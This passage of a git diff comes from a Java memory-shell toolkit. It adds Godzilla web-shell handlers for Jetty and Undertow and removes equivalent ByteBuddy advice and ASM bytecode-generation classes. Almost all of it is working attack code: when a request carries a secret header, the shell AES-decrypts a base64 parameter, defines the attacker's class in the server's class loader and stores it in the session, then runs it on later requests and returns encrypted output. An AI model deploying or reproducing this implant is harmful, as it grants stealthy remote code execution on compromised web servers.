mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10
|
||||
|
||||
mv.visitJumpInsn(Opcodes.GOTO, afterBase64Decode);
|
||||
|
||||
// Catch block for fallback to sun.misc.BASE64Decoder
|
||||
mv.visitLabel(base64DecodeCatch);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64ExceptionIndex); // Store exception in local var 13
|
||||
|
||||
// base64 = Class.forName("sun.misc.BASE64Decoder", true,
|
||||
// Thread.currentThread().getContextClassLoader());
|
||||
mv.visitLdcInsn("sun.misc.BASE64Decoder");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
|
||||
"()Ljava/lang/ClassLoader;", false);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
|
||||
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 11
|
||||
|
||||
// Object decoder = base64.newInstance();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance", "()Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder in local var 12
|
||||
|
||||
// data = (byte[]) decoder.getClass().getMethod("decodeBuffer",
|
||||
// String.class).invoke(decoder, parameter);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("decodeBuffer");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10
|
||||
|
||||
mv.visitLabel(afterBase64Decode);
|
||||
}
|
||||
}
|
||||
+133
@@ -0,0 +1,133 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaJettyHandler extends ClassLoader {
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public GodzillaJettyHandler() {
|
||||
}
|
||||
|
||||
public GodzillaJettyHandler(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
Object baseRequest = null;
|
||||
Object request = null;
|
||||
Object response = null;
|
||||
if (args.length == 4) {
|
||||
Object arg4 = args[3];
|
||||
baseRequest = args[1];
|
||||
if (arg4 instanceof Integer) {
|
||||
// jetty6
|
||||
request = args[1];
|
||||
response = args[2];
|
||||
} else {
|
||||
request = args[2];
|
||||
response = args[3];
|
||||
}
|
||||
} else {
|
||||
// ee10
|
||||
request = args[0];
|
||||
response = args[1];
|
||||
}
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
if (baseRequest != null) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
}
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] data = base64Decode(parameter);
|
||||
data = this.x(data, false);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||
if (sessionPayload == null) {
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
writer.write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
writer.write(md5.substring(16));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
+119
@@ -0,0 +1,119 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaUndertowServletHandler extends ClassLoader {
|
||||
public static String key;
|
||||
public static String pass;
|
||||
public static String md5;
|
||||
public static String headerName;
|
||||
public static String headerValue;
|
||||
|
||||
public GodzillaUndertowServletHandler() {
|
||||
}
|
||||
|
||||
public GodzillaUndertowServletHandler(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean equals(Object obj) {
|
||||
Object[] args = ((Object[]) obj);
|
||||
try {
|
||||
Object servletRequestContext = null;
|
||||
if (args.length == 2) {
|
||||
servletRequestContext = args[1];
|
||||
} else {
|
||||
servletRequestContext = args[2];
|
||||
}
|
||||
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
|
||||
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null && value.contains(headerValue)) {
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] data = base64Decode(parameter);
|
||||
data = this.x(data, false);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||
if (sessionPayload == null) {
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).Q(data));
|
||||
} else {
|
||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
writer.write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
writer.write(md5.substring(16));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
-87
@@ -1,87 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla.jetty;
|
||||
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.lang.reflect.Method;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaHandlerAdvisor {
|
||||
|
||||
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
|
||||
public static boolean enter(
|
||||
@Advice.Argument(value = 1) Object baseRequest,
|
||||
@Advice.Argument(value = 2) Object request,
|
||||
@Advice.Argument(value = 3) Object response
|
||||
) {
|
||||
String key = "key";
|
||||
String pass = "pass";
|
||||
String md5 = "md5";
|
||||
String headerName = "headerName";
|
||||
String headerValue = "headerValue";
|
||||
try {
|
||||
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
|
||||
if (value != null
|
||||
&& value.contains(headerValue)) {
|
||||
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
|
||||
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
|
||||
byte[] data = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
|
||||
}
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES");
|
||||
c.init(2, keySpec);
|
||||
data = c.doFinal(data);
|
||||
Object session = request.getClass().getMethod("getSession").invoke(request);
|
||||
Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload");
|
||||
if (sessionPayload == null) {
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
|
||||
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload);
|
||||
} else {
|
||||
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
|
||||
writer.write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
|
||||
c.init(1, keySpec);
|
||||
byte[] encryptBytes = c.doFinal(arrOut.toByteArray());
|
||||
String result = null;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes);
|
||||
} catch (Exception var6) {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes);
|
||||
}
|
||||
writer.write(result);
|
||||
writer.write(md5.substring(16));
|
||||
}
|
||||
return true;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-915
@@ -1,915 +0,0 @@
|
||||
package com.reajason.javaweb.memshell.shelltool.godzilla.jetty;
|
||||
|
||||
import org.objectweb.asm.Label;
|
||||
import org.objectweb.asm.MethodVisitor;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
import org.objectweb.asm.Type;
|
||||
|
||||
public class GodzillaHandlerAsmMethodVisitor extends MethodVisitor {
|
||||
|
||||
Type[] argTypes;
|
||||
|
||||
public GodzillaHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argTypes) {
|
||||
super(Opcodes.ASM9, mv);
|
||||
this.argTypes = argTypes;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visitCode() {
|
||||
super.visitCode();
|
||||
|
||||
int startIndex = 1;
|
||||
for (Type type : argTypes) {
|
||||
startIndex += type.getSize();
|
||||
}
|
||||
|
||||
int keyIndex = startIndex;
|
||||
int passIndex = startIndex + 1;
|
||||
int md5Index = startIndex + 2;
|
||||
int headerNameIndex = startIndex + 3;
|
||||
int headerValueIndex = startIndex + 4;
|
||||
int curHeaderIndex = startIndex + 5;
|
||||
int curParameterIndex = startIndex + 6;
|
||||
int dataIndex = startIndex + 7;
|
||||
int base64ClassIndex = startIndex + 8;
|
||||
int decoderClassIndex = startIndex + 9;
|
||||
int base64ExceptionIndex = startIndex + 10;
|
||||
int cipherClassIndex = startIndex + 11;
|
||||
int secretKeySpecClassIndex = startIndex + 12;
|
||||
int keyClassIndex = startIndex + 13;
|
||||
int cipherInitMethodIndex = startIndex + 14;
|
||||
int doFinalMethodIndex = startIndex + 15;
|
||||
int cipherIndex = startIndex + 16;
|
||||
int secretKeySpecIndex = startIndex + 17;
|
||||
int sessionIndex = startIndex + 18;
|
||||
int sessionPayloadIndex = startIndex + 19;
|
||||
int defineClassIndex = startIndex + 20;
|
||||
int payloadClassIndex = startIndex + 21;
|
||||
int arrOutIndex = startIndex + 22;
|
||||
int instanceIndex = startIndex + 23;
|
||||
int writerIndex = startIndex + 24;
|
||||
int encryptBytesIndex = startIndex + 25;
|
||||
int encoderClassIndex = startIndex + 26;
|
||||
int resultIndex = startIndex + 27;
|
||||
int base64EncodeExceptionIndex = startIndex + 28;
|
||||
|
||||
int outerExceptionIndex = startIndex + 26;
|
||||
|
||||
// Access method arguments - adjust based on whether method is static or not
|
||||
int baseRequestIndex = 2; // Arg index 1
|
||||
int requestIndex = 3; // Arg index 2
|
||||
int responseIndex = 4; // Arg index 3
|
||||
|
||||
// Define constants
|
||||
mv.visitLdcInsn("key");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, keyIndex);
|
||||
mv.visitLdcInsn("pass");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, passIndex);
|
||||
mv.visitLdcInsn("md5");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, md5Index);
|
||||
mv.visitLdcInsn("headerName");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, headerNameIndex);
|
||||
mv.visitLdcInsn("headerValue");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, headerValueIndex);
|
||||
|
||||
// Define labels for try-catch
|
||||
Label tryStart = new Label();
|
||||
Label tryEnd = new Label();
|
||||
Label catchHandler = new Label();
|
||||
|
||||
// Register try-catch block
|
||||
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
|
||||
|
||||
// Start of try block
|
||||
mv.visitLabel(tryStart);
|
||||
|
||||
getHeaderValue(requestIndex, headerNameIndex, curHeaderIndex);
|
||||
|
||||
// if (value != null && value.contains(headerValue))
|
||||
mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value
|
||||
Label ifNullLabel = new Label();
|
||||
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
|
||||
|
||||
mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value
|
||||
mv.visitVarInsn(Opcodes.ALOAD, headerValueIndex); // Load headerValue
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "contains",
|
||||
"(Ljava/lang/CharSequence;)Z", false);
|
||||
mv.visitJumpInsn(Opcodes.IFEQ, ifNullLabel);
|
||||
|
||||
// Set baseRequest.setHandled(true)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("setHandled");
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Boolean", "TYPE", "Ljava/lang/Class;");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Boolean", "valueOf", "(Z)Ljava/lang/Boolean;", false);
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
|
||||
getParameterValue(requestIndex, passIndex, curParameterIndex);
|
||||
|
||||
// Declare data variable
|
||||
mv.visitInsn(Opcodes.ACONST_NULL);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store null in data (local var 10)
|
||||
|
||||
tryDecodeBase64(base64ClassIndex, decoderClassIndex, curParameterIndex, dataIndex, base64ExceptionIndex);
|
||||
|
||||
decryptData(cipherClassIndex, secretKeySpecClassIndex, keyClassIndex, cipherInitMethodIndex, doFinalMethodIndex, cipherIndex, keyIndex, secretKeySpecIndex, dataIndex);
|
||||
|
||||
getSessionPayload(requestIndex, sessionIndex, sessionPayloadIndex);
|
||||
|
||||
// if (sessionPayload == null)
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload
|
||||
Label sessionPayloadNotNull = new Label();
|
||||
mv.visitJumpInsn(Opcodes.IFNONNULL, sessionPayloadNotNull);
|
||||
|
||||
defineClassWhenFirstInvoke(defineClassIndex, dataIndex, payloadClassIndex, sessionIndex);
|
||||
|
||||
// Else branch - sessionPayload is not null
|
||||
mv.visitLabel(sessionPayloadNotNull);
|
||||
|
||||
// request.getClass().getMethod("setAttribute", String.class, Object.class)
|
||||
// .invoke(request, "parameters", data);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("setAttribute");
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitLdcInsn(Type.getType("Ljava/lang/Object;"));
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitInsn(Opcodes.ICONST_2);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitLdcInsn("parameters");
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitInsn(Opcodes.ICONST_1);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
|
||||
mv.visitInsn(Opcodes.AASTORE);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitInsn(Opcodes.POP);
|
||||
|
||||
// ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
mv.visitTypeInsn(Opcodes.NEW, "java/io/ByteArrayOutputStream");
|
||||
mv.visitInsn(Opcodes.DUP);
|
||||
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/ByteArrayOutputStream",
|
||||
"<init>", "()V", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, arrOutIndex); // Store arrOut in local var 25
|
||||
|
||||
// Object f = ((Class<?>) sessionPayload).newInstance();
|
||||
mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance",
|
||||
"()Ljava/lang/Object;", false);
|
||||
mv.visitVarInsn(Opcodes.ASTORE, instanceIndex); // Store f in local var 26
|
||||
|
||||
// f.equals(arrOut);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
|
||||
mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals",
|
||||
"(Ljava/lang/Object;)Z", false);
|
||||
mv.visitInsn(Opcodes.POP); // Discard result
|
||||
|
||||
// f.equals(request);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
|
||||
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals",
|
||||
"(Ljava/lang/Object;)Z", false);
|
||||
mv.visitInsn(Opcodes.POP); // Discard result
|
||||
|
||||
// PrintWriter writer = (PrintWriter)
|
||||
// response.getClass().getMethod("getWriter").invoke(response);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
|
||||
"()Ljava/lang/Class;", false);
|
||||
mv.visitLdcInsn("getWriter");
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
|
||||
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
|
||||
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
|
||||
"invoke",
|
||||
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
|
||||
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/PrintWriter");
|
||||
mv.visitVarInsn(Opcodes.ASTORE, writerIndex); // Store writer in local var 27
|
||||
|
||||
// writer.write(md5.substring(0, 16));
|
||||
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
|
||||
mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5
|
||||
mv.visitInsn(Opcodes.ICONST_0);
|
||||
mv.visitIntInsn(Opcodes.BIPUSH, 16);
|
||||
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring",
|
||||
